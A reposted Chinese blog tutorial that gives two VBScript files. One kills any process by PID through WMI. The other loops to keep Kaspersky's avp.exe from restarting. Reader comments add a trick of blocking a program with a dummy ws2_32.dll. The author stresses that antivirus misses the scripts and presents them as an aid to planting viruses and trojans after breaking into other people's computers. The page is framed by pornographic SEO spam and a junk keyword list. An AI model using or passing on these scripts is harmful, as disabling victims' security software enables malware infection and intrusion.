国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 編程 > VBScript > 正文

用VBS實現腳本結束進程與防止進程啟動

2020-07-26 12:03:22
字體:
來源:轉載
供稿:網友
今天下午沒課,躲進私人空間開始思考些問題。在瀏覽VBS相關案例時,自己寫了兩個小程序出來,有Hack性質的(其實只要能“借刀殺人”,什么軟件沒黑客性質?- -!)。Kill.vbs用來在cmd下結束進程,Dis.vbs用來在窗口模式下防止某進程再次啟動。這兩個VBS都不會被殺毒軟件KILL掉,并且有一定的隱蔽性……看代碼!('為注釋)
Kill.vbs:
復制代碼 代碼如下:

for each ps in getobject _  
("winmgmts://./root/cimv2:win32_process").instances_ '涉及到WMI腳本入侵技術,我不能解釋清楚! 
if ps.handle=wscript.arguments(0) then  '判斷進程的PID號是否與獲得的PID號參數相等 
wscript.echo ps.terminate '如果相等就結束指定PID號對應的進程 
end if 
next 

Dis.vbs
復制代碼 代碼如下:

dim y,x '不要這行也行…… 
do '來個死循環……一直在判斷!do ... loop內為循環體! 
set y=getobject("winmgmts://./root/cimv2") '和上面解釋一樣,這也是涉及到微軟的WMI技術! 
set x=y.execquery("select * from win32_process where name='avp.exe'")  
'查詢語句,where后判斷avp.exe(卡巴)是否存在進程中! 
'這樣當卡巴被上面的Kill.vbs結束時就再也啟動不起來了。除非,把Dis.vbs結束了先…… 
for each i in x  
i.terminate()  '卡巴要啟動馬上就終止…… 
next  
wscript.sleep 
loop 
解釋夠清楚了,那就來看看這兩個vbs是如何工作的吧。我將Kill.vbs與Dis.vbs放在C盤根目錄下。
打開cmd,輸入cd/回到C盤根目錄下,輸入tasklist查看當前系統的進程情況,然后記下你想kill的進程的PID號,輸入cscript Kill.vbs 2200即可結束PID為2200的進程了!假如這個進程是avp.exe,那你就可以輸入Dis.vbs啟動Dis.vbs來防止卡巴繼續被啟動。Dis.vbs啟動時僅在任務管理器的進程中有wscript.exe進程項,要是不結束這個進程是無法再次啟動卡巴的。
懂得這些,為以后入侵他人電腦后上傳病毒、木馬之類的就更方便了一點點……上面的所有過程都經本人試驗成功了,繼續完善……
復制代碼 代碼如下:

ws2_32.dll 
在程序目錄里建立這個也能組織程序運行 
 Greysign - 2007-03-20 19:01 阻止. 
 ycosxhack - 2007-03-20 19:15 
我暈了,果然啊!建立個記事本改名為ws2_32.dll,就……好,記下啦!呵呵……  
 Greysign - 2007-03-20 21:21 
運行程序會在WINDOWS目錄尋找這個接口文件.但是會先在程序目錄先搜索一遍  
 ycosxhack - 2007-03-20 21:43  
接口文件?你的意思是:任何程序都必須尋找它了?調用這個庫文件吧?刪了它就真正麻煩了…… 
 Greysign - 2007-03-20 22:37 嗯.

轉:http://hi.baidu.com/ycosxhack/blog/item/779281359f25908aa71e12e9.html
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 利津县| 家居| 新兴县| 成武县| 全椒县| 灯塔市| 唐海县| 兴和县| 和硕县| 盱眙县| 广元市| 湟源县| 赞皇县| 交口县| 公主岭市| 滁州市| 兴国县| 青岛市| 曲麻莱县| 北宁市| 永和县| 封开县| 临漳县| 夹江县| 眉山市| 恭城| 玉山县| 都兰县| 和静县| 阿拉尔市| 读书| 桃园县| 商洛市| 紫云| 丹东市| 临海市| 顺昌县| 宁明县| 车险| 马鞍山市| 河南省|